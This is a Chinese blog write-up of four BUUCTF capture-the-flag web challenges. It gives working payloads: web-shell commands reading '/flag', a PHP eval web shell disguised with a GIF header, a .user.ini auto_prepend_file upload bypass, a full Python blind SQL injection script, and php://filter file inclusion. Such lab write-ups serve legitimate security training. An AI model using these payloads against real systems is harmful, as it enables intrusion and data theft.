Web-3(9-12)-BUUCTF平台

本篇内容
[强网杯 2019]高明的黑客
[SUCTF 2019]CheckIn
[CISCN2019 华北赛区 Day2 Web1]Hack World
[极客大挑战 2019]Secret File

上一篇 | 目录 | 下一篇


[强网杯 2019]高明的黑客

访问网址:
在这里插入图片描述
那就直接访问 www.tar.gz拿到3000多个php文件。惊呆了我,随机打开一些php文件发现好多的get、post、eval之类的东西,猜想跟拿shell有关,但是不会啊,这么多怎么找有用的shell。
直接百度,发现大佬太强了,我是直接偷了大佬的脚本跑出来了结果,参考大佬博客:[强网杯 2019]高明的黑客(考察代码编写能力)
将www.tar.gz解压出的src放入自己本地
在这里插入图片描述
然后用大佬的脚本跑的结果:
在这里插入图片描述

尝试一下:

xk0SzyKwfzw.php?Efa5BVG=ls /

在这里插入图片描述
看到flag字眼,尝试读取:

xk0SzyKwfzw.php?Efa5BVG=cat /flag

在这里插入图片描述
拿到最终flag。





[SUCTF 2019]CheckIn

访问,发现了文件上传,直接上传php,内容是<?php eval($_GET['a'];?>,结果不行:
在这里插入图片描述
上传图片成功
在这里插入图片描述
改后缀尝试一下:
在这里插入图片描述
原来是不能含有<?啊,内容换成这样<script language='php'>eval($_GET['a']);</script>再次尝试:
在这里插入图片描述
后端应该调用了php的exif_imagetype()函数,添加图片文件头就可以绕过。再次尝试:
在这里插入图片描述
成功上传,可惜被当成的是图片,现在就是要解析这语句,这里虽然.htaccess文件也可以正常上传,但是.htaccess文件只针对Apache、而此处用到的服务器却是nginx,那么这里可以利用.user.ini ,.user.ini利用的范围比.htaccess更广,在nginx、apache、IIS里都可以,只要是以fastcgi运行的php都可以用这个方法。
上传.user.ini,内容为:

GIF89a
auto_prepend_file =shell.png

在这里插入图片描述
到它给定的路径下尝试一下phpinfo();发现成功
在这里插入图片描述
尝试查看根路径下的文件:
在这里插入图片描述
查看flag:
在这里插入图片描述





[CISCN2019 华北赛区 Day2 Web1]Hack World


尝试后发现过滤了一些东西,
发现异或注入可以用
在这里插入图片描述
那就Fuzz模糊测试一下:
在这里插入图片描述
发现过滤了一大堆东西,不过ascii、mid、substr、from等没有被过滤,空格被过滤直接括号代替,直接上脚本:

import requests

url='http://65eecc40-ec4a-4f27-bb05-b615122057de.node3.buuoj.cn/index.php'
res = ""

for i in range(1,50):
    print(i,end='\t')
    high = 127
    low = 32
    mid = (low + high) // 2
    while high > low:
        payload = "1^(ascii(mid((select(flag)from(flag)),{},1))>{})".format(i,mid)
        #print(payload)
        data = {"id":payload}
        r = requests.post(url, data = data)
        if 'Error' in r.text:
            low = mid + 1
        else:
            high = mid
        mid = (low + high) // 2

    res += chr(int(mid))
    print(res)

在这里插入图片描述
我采用的是二分法,所以运行速度会比较快,跑完直接出flag。





[极客大挑战 2019]Secret File

访问直接右键源代码:
在这里插入图片描述
访问再右键源代码:
在这里插入图片描述
访问action.php却跳转到了end.php,中间肯定有什么,那就Burp抓包。
在这里插入图片描述
在这里插入图片描述
发现了一个secr3t.php,访问
在这里插入图片描述

strstr() — 查找字符串的首次出现
stristr()strstr() 函数的忽略大小写版本

代码分析后,发现要GET一个file参数过去,但是不能含有../tpinputdata,包括这些的大小写。不含有这些的话就会包含file指定的文件。
这一看就是php://伪协议了,而且我直接想到还有php://filter可以使用,尝试一下:
在这里插入图片描述
发现一串base64密文,直接解密就得到了flag。
在这里插入图片描述




========================================================
上一篇-----------------------------------目录 -----------------------------------下一篇
========================================================
转载请注明出处
本文网址:https://blog.csdn.net/hiahiachang/article/details/105411756
========================================================

发布了16 篇原创文章 · 获赞 2 · 访问量 3万+

猜你喜欢

转载自blog.csdn.net/hiahiachang/article/details/105411756